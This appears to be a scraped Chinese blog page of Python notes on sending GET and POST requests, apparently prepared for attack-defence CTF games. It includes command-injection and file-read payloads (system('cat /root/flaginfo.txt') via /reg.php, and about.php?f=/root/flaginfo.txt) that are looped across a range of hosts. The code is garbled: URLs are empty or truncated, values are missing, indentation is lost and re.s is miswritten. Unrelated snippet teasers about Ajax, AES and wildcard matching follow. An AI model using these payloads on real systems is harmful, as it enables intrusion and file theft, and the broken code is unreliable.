import urllib.request
import urllib.parse
get傳參
命令格式:urllib.request.urlopen(url)
url = ""
payload =
data = urllib.parse.urlencode(payload)
response = urllib.request.urlopen(url + "?" +data)
print(response.read().decode())
post傳參
命令格式:urllib.request.urlopen(url,data=post_data.encode())
url=""
data=
payload=urllib.parse.urlencode(data)
response = urllib.request.urlopen(url,data=payload.encode())
print(response.read().decode())
利用re正則匹配來匹配字串(get傳參形)
import re
url = ""
###get
payload =
data = urllib.parse.urlencode(payload)
#print(data)
response = urllib.request.urlopen(url + "?" +data)
html=response.read().decode()
flag=re.findall('(.*?)',html,re.s)
print(flag)
迴圈遍歷
get形
def urllibget(u,payload):
for i in range(101,104):
url=""+str(i)+".101"
print(url,end=" ")
try:
data=urllib.parse.urlencode(payload)
response=urllib.request.urlopen(url+u+"?"+data)
result=response.read().decode()
print(result)
except:
pass
u="/reg.php"
payload=
urllibget(u,payload)
post形
def urllibpost(u,p):
for i in range(101,104):
url=""+str(i)+".101"
print(url,end=" ")
try:
payload=urllib.parse.urlencode(p)
response=urllib.request.urlopen(url+u,data=payload.encode())
result=response.read().decode()
print(result)
except:
pass
u="/post.php"
payload=
urllibpost(u,payload)
import requests
get傳參
命令格式:requests.get(url)
url="101.101"
data="/reg.php?a=system('cat /root/flaginfo.txt');"
url=url+data
req=requests.get(url).content.decode()
print(req)
post傳參
命令格式:requests.post(url,data=post_data)
url=""
post_data=
req=requests.post(url,data=post_data).content.decode()
print(req)
利用re正則匹配來匹配字串(get型)
import re
命令格式:result=re.findall(『匹配字串條件』,html,re.s)
url="101.101"
data="/about.php?f=/root/flaginfo.txt"
payload=url+data
req=requests.get(payload).content.decode()
result=re.findall('(.*?)',req,re.s)
print(result)
迴圈遍歷
get型
def getc(payload):
for i in range(101,104):
url=""+str(i)+".101"
print(url,end=" ")
url=url+payload
try:
req=requests.get(url).content.decode()
print(req)
except:
pass
payload="/reg.php?a=system('cat /root/flaginfo.txt');"
getc(payload)
post型
def postc(u,post_data):
for i in range(101,104):
url=""+str(i)+".101"
print(url,end=" ")
try:
url=url+u
req=requests.post(url,data=post_data).content.decode()
print(req)
except:
pass
u="/post.php"
post_data=
postc(u,post_data)
原生js實現Ajax請求,包含get和post
現在web從伺服器請求資料,很多用到ajax,不過都是用的jquery封裝好的,之前做專案,由於無法引用jquery,所以就只能用原生了,話不多說,請看 1 ajax start 2 3function ajax options 5 options.type options.type get tou...
python3實現CryptoJS AES加密演算法
from crypto.cipher import aes from binascii import b2a hex,a2b hex import base64 class aescrypt def init self,key self.key key.encode utf8 self.mode a...
萬用字元匹配 講解和python3實現
給定乙個字串 s 和乙個字元模式 實現乙個支援 和 的萬用字元匹配。可以匹配任何單個字元。可以匹配任意字串 包括空字串 兩個字串完全匹配才算匹配成功。說明 s 可能為空,且只包含從 a z 的小寫字母。p 可能為空,且只包含從 a z 的小寫字母,以及字元 和 示例 1 輸入 s aa p a 輸出...